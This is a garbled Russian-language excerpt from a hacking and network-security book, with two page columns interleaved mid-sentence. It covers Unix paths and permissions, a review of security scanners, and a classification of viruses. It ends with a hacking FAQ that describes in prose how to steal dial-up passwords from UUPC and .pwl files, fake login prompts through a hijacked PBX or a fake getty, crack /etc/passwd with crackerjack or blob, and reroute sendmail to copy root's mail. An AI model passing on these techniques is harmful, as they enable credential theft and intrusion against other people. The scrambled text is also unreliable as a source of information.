:/bin:/etc:/usr/lbin:$HOME: Тут я буду краток. Почему? Потому что если хотите выучиться работать в С, то пойдите и Когда вы попытаетесь запустить программу купите себе книгу. У меня нет времени писать еще на выполнение, Unix станет ее искать в /bin, /etc, один текстовый файл про С, потому что он будет /usr, /lbin и вашем домашнем разделе, и, если не огромным. Большинство программ пишется на С.

найдет, выдаст сообщение об ошибке. Поиск по В Юниксе исходные коды программ обозначаются разделам производится в том порядке, в каком они как имяфайла.с. Для запуска исходника на перечислены. Поэтому если у вас в домашнем компиляцию дайте команду cc имяфайла.c. Не все разделе есть программа с именем «sh», и вы программы С станут компилироваться, потому что введете «sh», то даже если вы сделаете это из они могут зависеть от других файлов, которых нет домашнего раздела, Unix запустит на исполнение на вашем диске, или же это не полные исходники, программу из раздела /bin. Поэтому пути следует а лишь модули. Если вы увидите нечто названное задавать с умом. Юниксы публичного доступа «makefile», то в таких случаях обычно достаточно делают это за вас, но в системе, где вы работаете, набрать «make» в командной строке, и это нечто пути могут быть и не указаны.

скомпилируется, или попытается TERM скомпилироваться. Запуская «make» или «сс», умные люди пользуются операндом работы в Тип вашего терминала. Юникс имеет фоновом режиме, потому что иногда компиляция библиотеку функций с именем «CURSES», длится безумно долго. Пример:

которая способна добиться максимума от терминала любого типа — при условии, что $ cc login.c& обнаружит соответствующие esc коды. Если вы [1234] работаете с экранно ориентированными $ программами, то должны установить какие то (1234 — это номер процесса, под которым параметры дисплея. Типы дисплеев и их esc коды он идентифицируется.) 77 Система Unix Система Unix /usr/sirhack/src Глава 13: Файловая система /usr/scythian Это инструментальная часть Unix. Если вы /usr/prophet не поймете этот раздел, вам никогда не удастся хакать Unix, потому что многие из приколов и Надеюсь, вы поняли эту главку. Все штучек для «поднятия доступа» завязаны именно произрастает из корневого раздела.

на файловую систему.

Для начала поговорим о структуре разделов.

Глава 14: Файловые допуски По сути это иерархическая файловая система, то есть она начинается в корневом разделе и далее Ну, наконец то добрались до действительно ветвится, как в MS DOS и, возможно, в AmigaDos. серьезного. Файловые допуски. Что это такое, понять нетрудно, но я все равно объясню Вот нечто вроде дерева разделов ((d) подробно.

обозначает раздел):

Итак, теперь вы должны мыслить / (корневой раздел) категориями «группы пользователей» и «имена | пользователей». Каждый принадлежит к группе. В | | командной строке вы можете после подсказки (знака доллара) набрать «id» и посмотреть, к какой bin (d) usr (d) группе вы принадлежите. Группы используются ^ для организации допуска пользователей к | | | определенным вещам. Если бы их не было, то лишь один человек контролировал/имел допуск к sirhack(d) scythian (d) prophet (d) определенным файлам. Запомните также, что | Unix, определяя доступ, смотрит на UID src (d) пользователя, а не на его имя.

Итак, эта конкретная система содержит Идем дальше. В файловых допусках нет следующие разделы:

ничего сложного. У каждого файла есть владелец (owner). Обычно файлом владеет тот, кто его / создал — скопировав файл, или даже просто /bin отредактировав его. Запомните, что владелец /usr файла должен быть тем, кто управляет CHOWN, поскольку он единственный, кто может изменить /usr/sirhack 79 Система Unix Система Unix файловые допуски. Кроме того, есть еще и обнаружил datawiz, но он из группы владелец группы — обычно это группа, в которой «пользователи». В таком случае групповые допуски вы находились, когда файл был создан. Для смены на него не распространяются, поэтому он не группы, к которой принадлежит файл, нужно может тронуть этот файл, верно? Вроде того. Есть выполнить команду chgrp. третья категория допусков — для «другой» группы.

Это означает, что допуски в «другой» группе Далее. Файлы могут иметь допуски на распространяются на всех, кроме ее владельца, и выполнение, чтение или запись. Если у вас есть на пользователей из той же группы, к какой допуск на выполнение, то вы знаете, что вам принадлежит файл. Взгляните на листинг раздела достаточно набрать имя программы в командной вверху, и вы увидите строчку допусков строке, и она выполнится. Если у вас есть допуск r x rwxr на чтение, то вы, очевидно, можете файл читать и делать все, что связано с чтением — например, Первые три символа означают допуски для копировать или печатать его. Но если у вас нет владельца (r x). (r x) переводится как «читать и доступа на чтение файла, то вы не сможете выполнять разрешается, но записывать в файл сделать ничего, что требует его прочтения. То же нельзя». Второй набор из трех символов самое справедливо и для допуска на запись. Далее, r xRWXr все допуски делятся на три группы.

(тот, что заглавными буквами) есть Первая — допуски владельца. Он может групповые допуски, и они означают «читать, установить себе допуски на чтение и выполнение записывать и выполнять разрешается».

файла, но не на запись в него. Это не позволит Третий набор, ему удалить такой файл. Вторая — групповые r xrwxR допуски. Возьмем для примера такой раздел:

есть допуски для всех прочих. Он означает $ ls l runme «читать можно, но больше ничего».

r xrwxr sirhack root 10990 March 21 runme Листинг раздела будет выглядеть примерно Здесь «root» есть имя группы, в которой так:

находится файл. «sirhack» — владелец файла. И если у группы «root» есть допуски на чтение, $ ls l запись и выполнение файла, то именно это они и drwxr xr x sirhack root 342 March 11 src могут с ним делать. Скажем, на этот файл Раздел помечен буквой «d» в начале строки наткнулся Scythian, а он принадлежит к группе допусков. Итак, владелец раздела (sirhack) может пользователей «root». Тогда он может файл читать, читать из раздела, записывать в раздел, и записывать в него, и выполнять. А потом файл выполнять программы из раздела. Корневая 81 Система Unix Защита сетей группа и все прочие могут лишь читать из раздела Часть третья и выполнять программы, находящиеся вне его.

Поэтому если я захочу сделать раздел только Защита сетей выполняемым, то это будет выглядеть так:

$ chmod go r $ ls drwx x x sirhack root 342 March 11 src Глава 1: Брандмауэры Если теперь в раздел зайдет кто то кроме «sirhack», то он сможет лишь выполнять Первое, что приходит в голову многим находящиеся там программы. Если он запустит системным администраторам, когда они думают о команду ls чтобы войти в раздел src, то, защите своих сетей от атак злоумышленников из оказавшись внутри, увидит сообщение «cannot read Интернета, это слово «брандмауэр». Брандмауэры directory» (не могу прочесть раздел). Если в (сетевые экраны) — неотъемлемая часть разделе есть доступный для чтения файл, но сам инфраструктуры защиты сети, однако просто раздел имеет запрет на чтение, то иногда все таки установить брандмауэр и надеяться на бывает возможно этот файл прочесть.

лучшее — опасно и глупо. Если не выбрать надлежащую конфигурацию серверов и не Если у вас нет допуска на выполнение в придерживаться сильной стратегии защиты, то каком то разделе, то в большинстве случаев вы не шансы на успех у атакующих вашу сеть сможете запустить ни одной программы из этого значительно повышаются. Как уже неоднократно раздела.

писалось, большинство злоумышленников нападает с внутренней стороны брандмауэра. Это недовольные сотрудники фирмы или хакеры, нашедшие лазейку в системе. По этой причине к защите каждой сети нужно подходить очень внимательно и не ограничиваться предотвращением доступа из Интернета.

Еще одно опасное заблуждение заключается в том, что серверы будто бы уже поставляются с необходимыми средствами обеспечения безопасности. Между тем, в защите каждой сетевой операционной системы имеются 83 Защита сетей Защита сетей многочисленные пробелы, и чтобы считать свой серверы с одинаковыми параметрами сайт действительно защищенным, их необходимо конфигурации.

ликвидировать. Отсутствие строгой стратегии Испытательный стенд обеспечения безопасности интрасети и серверов Интернета может усугубить ситуацию. Чтобы Каждый продукт был проинсталлирован на получить бессонницу, администратору сети сервере Compaq ProLiant 6000 с Windows NT Server достаточно попытаться установить последние 4.0 (с Service Pack 3 и Option Pack 4). Он был поправки к системе защиты сетевой ОС. Сделать оснащен двумя процессорами Pentium Pro жизнь сотрудников, отвечающих за работу сети, МГц и ОЗУ емкостью 256 Мбайт. Целевыми более спокойной помогут инструментальные серверами служили машины Dell Dimension XPS средства сканирования сетевой и системной Pentium II 266 МГц с ОЗУ емкостью 32 Мбайт.

защиты в сочетании с хорошо спланированной Продукты тестировали под Windows NT Server 4. стратегией безопасности и ПО обнаружения с Service Pack 3 и Option Pack 4, а также под ОС нарушителей. Эти продукты сканируют сетевые RedHat Linux 5.1 с Apache 1.3. При этом серверы по заданному расписанию и использовались стандартные конфигурации автоматически выводят отчеты, позволяя быстро каждого сервера, типичные для многих реальных обнаружить ошибки в конфигурации, неправильно инсталляций.

инсталлированное (с точки зрения защиты) Спецификации продуктов серверное ПО и пробелы в защите (преднамеренные или нет), и принять Тестирующиеся продукты необходимые меры.

Internet Scanner 5. Kane Security Analyst 4. Глава 2: Инструментальные средства NetGuard защиты Серверные платформы В лаборатории ZD Internet Lab были Windows NT 4. испытаны три инструментальных средства защиты AIX на базе Windows NT. Оценивали простоту их HP UX инсталляции, возможности настройки сканирующих подпрограмм и средства вывода Solaris отчетов. Проводилось сопоставление этих Linux продуктов, сканируя одни и те же тестовые 85 Защита сетей Защита сетей Windows NT 3.51 или более поздняя версия Наиболее распространенные «дыры» в защите и типы атак Novell NetWare 3.x/4.x Неверные конфигурации Сканируемые платформы Слабые ограничения доступа Windows NT, 95;

Устаревшее программное обеспечение Unix Форматы отчетов Windows NT 3.51 или более поздняя версия Crystal Reports Novell NetWare 3.x/4.x HTML Mac Crystal Reports Поддерживаемые протоколы Экспортируемые форматы TCP/IP HTML Типы проверки ASCII Windows NT Победитель — Internet Scanner 5.2 Продукт Веб сервер ISS Internet Scanner 5.2 был выбран по многим Брандмауэры причинам. Он оказался наиболее полным в плане поиска проблем в системе защиты и предлагал Отказ в обслуживании наиболее исчерпывающие решения каждой NSF проблемы. Это ПО выявило все недостатки в Атаки типа «грубой силы» защите, обнаруженные остальными двумя Анонимный FTP продуктами, и дополнило их десятками других найденных пробелов. Функциональные RPPC возможности вывода отчетов в Internet Scanner 5. sendmail оказались просто феноменальными, а сами отчеты Xwindows детальны и легко читаемы. Они предназначены не только для технических специалистов. В сводных NetBIOS отчетах для руководителя вопросы защиты сети Полные проверки конфигурации поясняются и становятся намного понятнее.

сетевой ОС Сканирование сети в Internet Scanner 5. Пароли производится быстро и полно, а результаты можно 87 Защита сетей Защита сетей использовать для генерации множества отчетов и, семейства продуктов SAFEsuite компании Internet при необходимости, обращаться к оригинальным Security Systems. Кроме этого, SAFEsuite включает данным. в себя компоненты выявления вторжения RealSecure и инструмент для детального анализа конфигураций серверов Unix System Security Глава 3: Слабые места систем Scanner (S3). Разрабатывается версия S3 для Windows NT. Internet Scanner функционирует в Существуют следующие, наиболее сетях Windows NT 4.0, AIX, HP UX, Solaris и распространенные, слабые места, характерные для Linux. Продукт может выявлять «дыры» в защите, многих сетевых операционных систем.

недостатки в конфигурации Windows NT Server и Слабая защита по паролю.

Workstation, машин Windows 95 и серверов Unix.

Доступ через анонимный FTP.

Все проверки системы и сканирование Неиндексированные каталоги WWW.

выполняются через TCP/IP в локальной сети.

Установить ПО Internet Scanner нетрудно. Для Разрешенная функция Finger.

этого необходимо загрузить самую последнюю его Разрешенные банеры Telnet/sendmail.

версию с веб узла ISS и выполнить процесс Разрешенная учетная запись Guest.

инсталляции. После установки ПО на сервере Windows NT потребуется только скопировать файл Неправильная конфигурация RPC.

ключа ISS в каталог Internet Scanner, после чего Ошибки в IIS.bat и.cmd.

можно начинать сканирование. Сервер ключа ISS Уязвимость TFTP.

передает лицензионный ключ по электронной почте. Этот ключ определяет, какие именно Неверная конфигурация NFS.

компоненты Internet Scanner будут доступны Internet Scanner 5. пользователю. Таким образом, добавление функциональных возможностей (таких, как Internet Scanner 5.2 компании Internet сканирование брандмауэра) представляет собой Security Systems (Атланта) — самый давний из простую и быструю онлайновую процедуру.

протестированных продуктов оценки защиты, и большой опыт положительно сказывается на его Пользовательский интерфейс Internet работе. Производит впечатление простота Scanner выполнен очень качественно. «Мастер» установки данной программы, превосходные создания сеанса значительно упрощает настройку средства вывода отчетов и широкая поддержка и запуск процедуры сканирования. Основное окно платформ. Internet Scanner — компонент защиты с вкладками спроектировано настолько ясно, что 89 Защита сетей Защита сетей можно сразу легко загрузить несколько сеансов, сервера Windows NT или, если приобрести ускорив тем самым процесс сканирования. расширенную лицензию, всего домена Windows Выполнение поверхностного теста сканирования NT. В отличие от двух других протестированных сервера Windows NT Server занимает у Internet продуктов, Kane Security Analyst предназначен Scanner всего 21 секунду, после чего выводится только для сканирования серверов Windows NT и страница с результатами — детальным списком Novell NetWare. Сканирования серверов Unix или обнаруженных проблем и предлагаемых решений. машин Windows 95/98 он не выполняет. Загрузив пакет Kane Security Analyst на сервере Windows NT Средства вывода отчетов в Internet Scanner с инсталляционного диска CD ROM, можно производят очень сильное впечатление.

приступать к работе.

Генерируемые в формате Crystal Reports или HTML, разнообразные готовые формы отчетов При первом запуске программы она Internet Scanner должны удовлетворить требования выполнила поиск доменов и серверов сети любого сетевого администратора. Если же Windows NT. Затем на экране появилось главное потребуется создать свои собственные формы, то в окно. Пользовательский интерфейс Kane Security Internet Scanner для них легко построить шаблоны. Analyst спроектирован удачно. Каждая из четырех В технических отчетах об уязвимости системы кнопок в нижней части экрана выполняет один из защиты перечислены проблемы, указаны машины, четырех шагов по оценке защиты системы:

на которые они влияют, предлагаются решения и устанавливает стандарт защиты, проверяет ее, даже даются ссылки на места в Интернете, где анализирует степень риска и выводит отчет. Кроме можно найти соответствующие поправки и того, предусмотрены кнопки быстрого вызова корректировки. В отчетах для руководителей большинства функций Kane Security Analyst, таких, суммируются характеристики защиты всей сети. как оценка на соответствие стандарту защиты C Internet Scanner 5.2 соединяет в себе превосходный (C2 Security Evaluation), вывод на экран карты пользовательский интерфейс, сильные средства отчета и т.д.

создания сеансов и большое число стандартных ПО Kane Security Analyst не предусматривает отчетов.

поверхностного, среднего и углубленного сканирования, как Internet Scanner и NetGuard.

Kane Security Analyst 4. Программа поставляется с одним заданным по Продукт Kane Security Analyst компании умолчанию шаблоном сканирования, именуемым Security Dynamics Technologies входит в семейство Best Default Practices. Этот шаблон сравнивает инструментов защиты SecurSight. Kane Security защиту вашего сервера с практикуемыми в отрасли Analyst может оценивать защиту автономного методами защиты. Естественно, можно создать и 91 Защита сетей Вирусы собственный шаблон, отвечающий специальным Часть четвертая требованиям. Скорость сканирования производит благоприятное впечатление. Анализ всей системы, Вирусы включая тест раскрытия пароля, потребовал менее 30 секунд, после чего будет представлена «карта отчета» со списком выполненных тестов и оценкой для сервера. После завершения Глава 1: Определение сканирования можно получить набор детальных отчетов (в формате Crystal Reports). Выбрав отчет Что он из себя представляет, что может–не (или все отчеты), его нетрудно сгенерировать, может, откуда он взялся, кто его написал и зачем?

распечатать или сохранить в файле (в разных Чрезвычайно много вопросов возникает при форматах), однако Kane Security Analyst не размышлении на тему вирусов.

предлагает средств вывода отчетов Для начала хотелось бы определить понятие непосредственно в формате HTML.

вируса: вирус — это программа или кодовый В целом Kane Security Analyst можно считать сегмент, который при получении управления превосходным инструментальным средством для стремится выполнить скрытое самокопирование в сканирования серверов Windows, но в различные области выполняемых кодов других неоднородной сетевой среде он не может программ, максимально защищается от конкурировать с Internet Scanner 5.2.

обнаружения и по истечении инкубационного периода заявляет о себе тем или иным действием.

Хотя это определение ещё можно долго дополнять и исправлять все же хотелось бы на нём и остановиться, как на самом нейтральном. В дальнейшем, вы сами определите для себя более точное понятие вируса.

«Не так страшен черт как его малюют» — эта поговорка полностью подходит и к нашей теме. Из славного малого, самостоятельно передвигающегося по нашим дискам, сделали большого злобного монстра, наделив его фантастическими способностями по уничтожению 93 Вирусы Вирусы мониторов, модемов, сжиганию процессоров и т.п. пути проходят подавляющее большинство В связи с этим любые программные поломки (не программистов).

дай бог какой нибудь файл станет испорченным злоба, всеядное ламерство или месть. Уж тут или пропадет!) стало свойственно приписывать то вирусы пишутся на всю катушку, вирусам.

оснащенные боевыми действиями и А ведь на самом деле диструктивные предназначаются обычно конкретным людям, действия вируса, как правило, ограничиваются какой либо фирме или в качестве разминки удалением или порчей информации. Хотя, всему миру.

конечно, существует возможность испортить вам Однако не все так страшно! Заражение жесткий диск или посадить монитор, но действия вирусом как правило происходит при обмене настолько явны, что вряд ли кто нибудь даст компьютерными играми либо софтом (например, добро на их продолжение.

на BBS). На данный момент игры достигли С другой стороны диструкция не является ужасающих размеров и пишутся в основном на обязательным выражением вируса, ибо в теорию компакт диски, куда вирусу попасть ну очень, вируса заложено свойство распространения а не очень трудно. Программы... ну тут уж вирус нанесения вреда. Так существует множество является карой божьей за использование безобидных вирусов, где максимальная нелицензионного софта. Ибо при использовании неприятность — это какой либо видео или оригинальных программ вероятность заразиться от звуковой эффект. дистрибутива сводится к нулю. Всевозможное freeware можно скачать, например, с На данный момент можно выдвинуть три www.cdrom.com, www.windows95.com и прочих ситуации, побуждающие к написанию вируса:

серьезных сайтов, где о вирусах никто и не написание в качестве самоутверждения (А что слышал. Если же у вас нет возможности здесь такого? И я могу). При этом использовать оригинальные программы (хмм… с распространение вируса просто не нашей зарплатой покупать себе оригинал...), то уж обязательно, ибо цель доказать себе, что тоже не поленитесь соблюдать элементарные правила не чайник, уже достигнута.

гигиены (как зубная щетка Dr.Web) для новых простая тяга к программированию. Вирус в невесть откуда взявшихся программ или китайских данном случае является просто компьютерной дисков. На последних вирусы все таки задачкой. Возможность распространения встречаются довольно часто.

здесь сводится к нулю. (Кстати, по данному 95 Вирусы Вирусы операционной системы к объектам заражения и Глава 2: Разновидности внедряется в них. Резидентные вирусы находятся в Загрузочные вирусы памяти и являются активными вплоть до выключения или перезагрузки компьютера.

Резидентные вирусы Нерезидентные вирусы не заражают память Файловые вирусы компьютера и являются активными ограниченное Вирусы можно разделить на классы по время. Некоторые вирусы оставляют в следующим признакам:

оперативной памяти небольшие резидентные программы, которые не распространяют вирус.

по среде обитания вируса;

Такие вирусы считаются нерезидентными.

по способу заражения среды обитания;

По деструктивным возможностям вирусы по деструктивным возможностям;

можно разделить на:

по особенностям алгоритма вируса.

безвредные, т.е. никак не влияющие на работу По среде обитания вирусы можно разделить компьютера (кроме уменьшения свободной на сетевые, файловые и загрузочные. Сетевые памяти на диске в результате своего вирусы распространяются по компьютерной сети, распространения);

файловые внедряются в выполняемые файлы, неопасные, влияние которых ограничивается загрузочные — в загрузочный сектор диска уменьшением свободной памяти на диске и (boot сектор) или в сектор, содержащий графическими, звуковыми и пр. эффектами;

системный загрузчик винчестера (Master Boot опасные вирусы, которые могут привести к Record). Существуют сочетания — например, серьезным сбоям в работе компьютера;

файлово загрузочные вирусы, заражающие как файлы, так и загрузочные сектора дисков. Такие очень опасные, которые могут привести к вирусы, как правило, имеют довольно сложный потере программ, уничтожить данные, стереть алгоритм работы, часто применяют оригинальные необходимую для работы компьютера методы проникновения в систему, используют информацию, записанную в системных стелс и полиморфик технологии.

областях памяти, и, как гласит одна из компьютерных легенд, способствовать Способы заражения делятся на резидентный быстрому износу движущихся частей и нерезидентный. Резидентный вирус при механизмов — вводить в резонанс и инфицировании компьютера оставляет в разрушать головки винчестера.

оперативной памяти свою резидентную часть, которая затем перехватывает обращение 97 Вирусы Вирусы Но даже если в алгоритме вируса не так же как и компаньон вирусы, не изменяют найдено ветвей, наносящих ущерб системе, этот файлы или сектора на дисках. Они вирус нельзя с полной уверенностью назвать проникают в память компьютера из безвредным, так как проникновение его в компьютерной сети, вычисляют сетевые компьютер может вызвать непредсказуемые и адреса других компьютеров и рассылают по порой катастрофические последствия. Ведь вирус, этим адресам свои копии. Такие вирусы как и всякая программа, имеет ошибки, в иногда создают рабочие файлы на дисках результате которых могут быть испорчены как системы, но могут вообще не обращаться к файлы, так и сектора дисков (например, вполне ресурсам компьютера (за исключением безобидный на первый взгляд вирус «DenZuk» оперативной памяти). К счастью, в довольно корректно работает с 360K дискетами, вычислительных сетях IBM компьютеров но может уничтожить информацию на дискетах такие вирусы пока не завелись.

большего объема). Возможно также «паразитические» — все вирусы, которые при «заклинивание» резидентного вируса и системы распространении своих копий обязательно при использовании новых версий DOS, при работе изменяют содержимое дисковых секторов или в MS Windows или с другими мощными файлов. В эту группу относятся все вирусы, программными системами. И так далее.

которые не являются «червями» или По особенностям алгоритма можно выделить «компаньон».

следующие группы вирусов:

«студенческие» — крайне примитивные компаньон вирусы (companion) — это вирусы, вирусы, часто нерезидентные и содержащие не изменяющие файлы. Алгоритм работы большое число ошибок;

этих вирусов состоит в том, что они создают «стелс» вирусы (вирусы невидимки, stealth), для EXE файлов файлы спутники, имеющие представляющие собой весьма совершенные то же самое имя, но с расширением.COM, программы, которые перехватывают например, для файла XCOPY.EXE создается обращения DOS к пораженным файлам или файл XCOPY.COM. Вирус записывается в секторам дисков и «подставляют» вместо себя COM файл и никак не изменяет EXE файл.

незараженные участки информации. Кроме При запуске такого файла DOS первым этого такие вирусы при обращении к файлам обнаружит и выполнит COM файл, т.е. вирус, используют достаточно оригинальные который затем запустит и EXE файл.

алгоритмы, позволяющие «обманывать» вирусы «черви» (worm) — вирусы, которые резидентные антивирусные мониторы. Один распространяются в компьютерной сети и, из первых «стелс» вирусов — вирус «Frodo»;

99 Вирусы Вирусы «полиморфик» вирусы (polymorphic) маскировки своего распространения некоторые достаточно труднообнаруживаемые вирусы, вирусы перехватывают прерывание DOS, не имеющие сигнатур, т.е. не содержащие ни возникающее при обращении к защищенному от одного постоянного участка кода. В записи диску (INT 24h), и самостоятельно большинстве случаев два образца одного и обрабатывают его. Поэтому к особенностям того же полиморфик вируса не будут иметь алгоритма файлового вируса можно отнести и ни одного совпадения. Это достигается наличие или отсутствие обработки:

шифрованием основного тела вируса и атрибута read only;

модификациями программы расшифровщика.

времени последней модификации файла;

Некоторые вирусы (например, вирусы прерывания 24h.

семейства «Eddie», «Murphy») используют часть функций полноценного стелс вируса.

К особенностям алгоритма вируса можно Чаще всего они перехватывают функции DOS отнести и скорость его распространения. Скорость FindFirst и FindNext (INT 21h, ah=11h, 12h, распространения файловых вирусов, заражающих 4Eh, 4Fh) и «уменьшают» размер зараженных файлы только при их запуске на выполнение, файлов. Такой вирус невозможно определить будет ниже, чем у вирусов, заражающих файлы и по изменению размеров файлов, если, при их открытии, переименовании, изменении конечно, он резидентно находится в памяти.

атрибутов файла и т.д. Некоторые вирусы Программы, которые не используют («Eddie», «Murphy») при создании своей копии в указанные функции DOS (например, оперативной памяти компьютера пытаются занять «Нортоновские утилиты»), а напрямую область памяти с самыми старшими адресами, используют содержимое секторов, хранящих разрушая временную часть командного каталог, показывают правильную длину интерпретатора COMMAND.COM. По окончании зараженных файлов.

работы зараженной программы временная часть интерпретатора восстанавливается, при этом При инфицировании файла вирус может происходит открытие файла COMMAND.COM и, производить ряд действий, маскирующих и если вирус заражает файлы при их открытии, его ускоряющих его распространение. К подобным заражение. Таким образом, при запуске подобного действиям можно отнести обработку атрибута вируса первым будет заражен файл read only, снятие его перед заражением и COMMAND.COM.

восстановление после. Многие файловые вирусы считывают дату последней модификации файла и восстанавливают ее после заражения. Для 101 Вирусы Вирусы Если на машину пользователя отсутствует Глава 3: Небольшой FAQ по взлому доступ, к решению проблемы хакер подходит Internet на российском уровне другим путем. Большая часть соединений приходится на телефонные линии. Практически в Под термином взлом Internet подразумевают любом крупном офисе той или иной компании несколько различных вещей. Во пеpвых:

имеется небольшая АТС. Для хакера незаконное подключение к пpовайдеpу и так перепрограммировать АТС так, чтобы звонки с называемые «халявные» подключения. Как это данного номера перероучивались на себя не осуществляется? Самый простой составляет особого труда. Далее запускается вариант — воровство. Хакер крадет чужой пароль.

терминальная программа BBS с заставкой В наше время при огромном количестве недалеких провайдера. Естественно, пользователь покупается пользователей хакеру это дело не представляет и вводит login и password. Далее выдается масса особого труда, так как подавляющее большинство ошибок, а затем линия разрывается.

пользователей пользуется таким популярным пакетом e mail как UUPC Чернова. А также А если хакер уже имеет login password! Что некоторые провайдеры все еще предоставляют дальше делать?! Хотелось, имея пароль с вход в систему как online так и offline под одним и минимальными пользовательскими привилегиями тем же паролем. Хакеру остается самое получить их гораздо больше. А то до простое — переписать файл init aka init1 с каталога бесконечности работать не будешь — все равно \UUPC. Там будет прописан как login так и рано или поздно догадаются и пароль поменяют… password.

Hy вот, наконец мы подобрались к Более сложные варианты взлома непосредственному взлому UNIX. Это радует. С Internet — запуск на машине пользователя минимальными привилегиями получить статус вирусной программы или резидентной, root — задача не одного дня. Ho начинать с отслеживающей появление строчки «login:». Далее чего то надо.

в отдельный файл записываются все нажатия А начнем мы с того, что узнаем, с какой клавиатуры.

системой имеем дело. В настоящее время Если пользователь использует Windows 95 и провайдеры висят на самых популярных UNIX`ах:

работает в Netscape, используя SLIP и PPP, то FreeBSD, BSDI, SCO open server, Linux.

хакер обращает внимание на скрипты команд и Некоторые, правда, используют такую экзотику файл с расширением.pwl (пароль, как NexStep, UnixWare, Solaris, Aix, HP UX, зашифрованный примитивным методом DES).

VAX ORX5.12. Встречаются уникумы, работающие с Xenix. Ho несмотря на видимое обилие 103 Вирусы Вирусы операционных систем, все они имеют практически в зашифрованном виде. И вместо пароля в лучшем одинаковую систему защиты и идентификации случае можно увидеть абракадабру типа:

пользователей и их ресурсов, которые #@4OFIU`0346`e.

передавались по наследству от AT&T UNIX с Да с. Облом. А как можно ее года.

расшифровать?

Стандартные средства защиты в UNIX:

Этим, собственно, и занимаются программы защита через пароли типа jack, crackerjack, blob и множество подобных.

защита файлов Успех напрямую зависит от данной операционной системы. Чтобы успешно расшифровать passwd, команды su, newgrp, at, prwarn, sadc, pt_chmod необходимо, как минимум, иметь 2 пары логинов, шифрование данных паролей расшифрованных и зашифрованных.

Как реализована защита через пароли?

Напустив на passwd от Linux 2.1.3 крякалку паролей blob и имея 5 пар известных паролей, в Любой пользователь UNIX имеет свой опытном варианте за 20 минут можно успешно пароль, без которого он не может включиться в расшифровались все пароли.

систему, писать/читать почту и т.д. Практически во всех UNIX пароли находятся в /etc/passwd.

А в чем же тогда проблема?

Этот файл содержит информацию о пользователе, Проблема даже не в том, что алгоритмы его пароле и уровне привилегий.

шифрования улучшаются с каждой новой версией Можно ли дописать в этот файл системы, а в таких коммерческих UNIX как SCO информацию о своем login passwd, уровне Open Server 5 имеются очень навороченные привилегий?

системы криптования. К примеру, SCO 3 с уровнем защиты от 1,2,3 сломалась в течении Нет. Такое может делать только admin aka часов перебора, 4,5 — где то за четверо суток, root. У вас просто не будет привилегий на запись в так и не удалось поломать.

файл. Его можно только читать.

В UNIX по команде who & whodo можно Ho что же мешает переписать/прочитать его узнать пользовательское имя и терминальную и пользоваться чужими login`ами?

линию, на которой user работает, написать Прочитать можно. И с огорчением увидеть, примитивную программу, которая перехватит ввод что не все так в жизни просто. Да, там хранится символов по этой линии связи, выдавая себя за login пользователя. Ho сам пароль хранится только getty, и в один прекрасный момент, напечатав ложное приглашение, ввести пароль, получить его 105 Вирусы Вирусы и сдублировать куда нибудь. Хоть на соседний Есть программы, которые формируют его из терминал, хоть на принтер или в файл. текстового файла. А если за основу словаря взять личное дело usera — 89% что все пройдет на ypa.

Множество людей на UNIX узлах довольно ревностно охраняют систему от любителей халявы.

Ho, в большинстве случаев они очень халатно относятся к вопросам безопасности e mail. Это, на самом деле, до поры до времени. Имеется несколько примеров, когда люди палились от жадности — получали кратковременный доступ с правами root, заводили кучу пользователей, творили чудеса, словом. И заканчивалось это, как правило, одинаково — вы поняли как. Даже самый начинающий admin знает, что присутствие юзера протоколируется в системе. Тем паче заведение новых пользователей и копирование/правка /etc/passwd aka /etc/shadow.

Ho! Невесть кто когда лазит смотреть роутинг sendmail. Особенно в межузловом траффике. Про это все как будто забывают. А ничего не мешает переправить sendmail.cf с дублированием всех личных писем некоторых пользователей, в том числе и рута.

Примечательно, что знать старые пароли — верный путь к успеху. Если они содержат логическую информацию о пользователе (имя жены, номер телефона) то, натравив на crackerjack словарь с информацией про юзера, можно подобрать пароль из словаря.

Где взять словарь?

107 Ломаем и защищаем сети Ломаем и защищаем сети обслуживание, файлов, сообщений, прикладных Часть пятая программ и сетевых узлов.

Ломаем и защищаем сети Хотя эти продукты сильно отличаются друг от друга, но все же имеют две общие черты: они все основаны на процедуре начальной авторизации и предполагают использование по меньшей мере двух удостоверяющих факторов — пароля и Глава 1: Работа в сети чего нибудь еще. Например, секретных шифров, диалога типа запрос ответ, смарт карты, Работа в сети может превратиться в биометрических данных, цифровой подписи или рискованное предприятие. Привычные публичных ключей.

сущности — такие как пользователи, сообщения, документы, прикладные программы, серверы Их так же можно подразделить на две могут оказаться совсем не тем, что вы ожидали большие группы: одни основаны на увидеть. Чем больше пользователей работает в идентификации клиентов, а другие объектов.

Сети, тем выше вероятность того, что кто нибудь Идентификация пользователей означает, что или что нибудь будет не правильно авторизовано.

каждый запрос на использование ресурсов Использование пароля не достаточно для подписывается ими (Single Sign — On (SSO)).

создания действительно безопасной сети. Хакеры Авторизация объектов предполагает не только могут либо подобрать, либо перехватить текстовый проверку подлинности клиента, источника пароль пользователя и зарегистрироваться вместо запросов, но и целостности сообщений и файлов, него. Электронные сообщения или файлы могут присланных им.

быть изменены злоумышленниками, до того как Обычно вместе с продуктом фирмы достигнут адресата.

производители поставляют специальные Чтобы надежно защитить сеть от программные инструменты для интеграции его в несанкционированного доступа необходимы вашу сеть. Например, некоторые из них специальные средства. Сегодня на рынке выполнены в виде отдельных серверов существует несколько десятков программных идентификации, к которым прилагается продуктов, предназначенных для решения этих специальный код для рабочих станций сети.

вопросов. Они используют криптографическую Другие представляют собой код для сервиса технологию для проверки отправителя данных, авторизации который добавляется к клиентским и целостности пользователей, запросов на серверным приложениям.

109 Ломаем и защищаем сети Ломаем и защищаем сети на мониторе шифратора SecurID. Сервер Глава 2: Идентификация запоминает эти коды и каждый раз подтверждает пользователей права пользователя, если они совпадают.

Продукты для авторизации Использование аппаратных шифраторов пользователей используют аппаратно или для идентификации не очень удобно. Вы программно сформированный шифр, чтобы должны манипулировать двумя устройствами ответить на закодированный запрос от ввода — клавиатурой компьютера и панелью идентификационного сервера. Во время шифратора и соответственно считывать данные с инициализации процедуры входа в сеть, в ответ на двух мониторов.

введенные идентификатор и пароль пользователь Программные шифраторы более получает строку цифр.

предпочтительны, потому что работают в фоновом Если используется специальное устройство режиме и не требуют вводить ничего кроме пароля для генерации шифра, то необходимо ввести в и PIN кода. Они сами отвечают на запросы него полученную строку и свой PIN (Personal сервера идентификации.

Identification Number — персональный код).

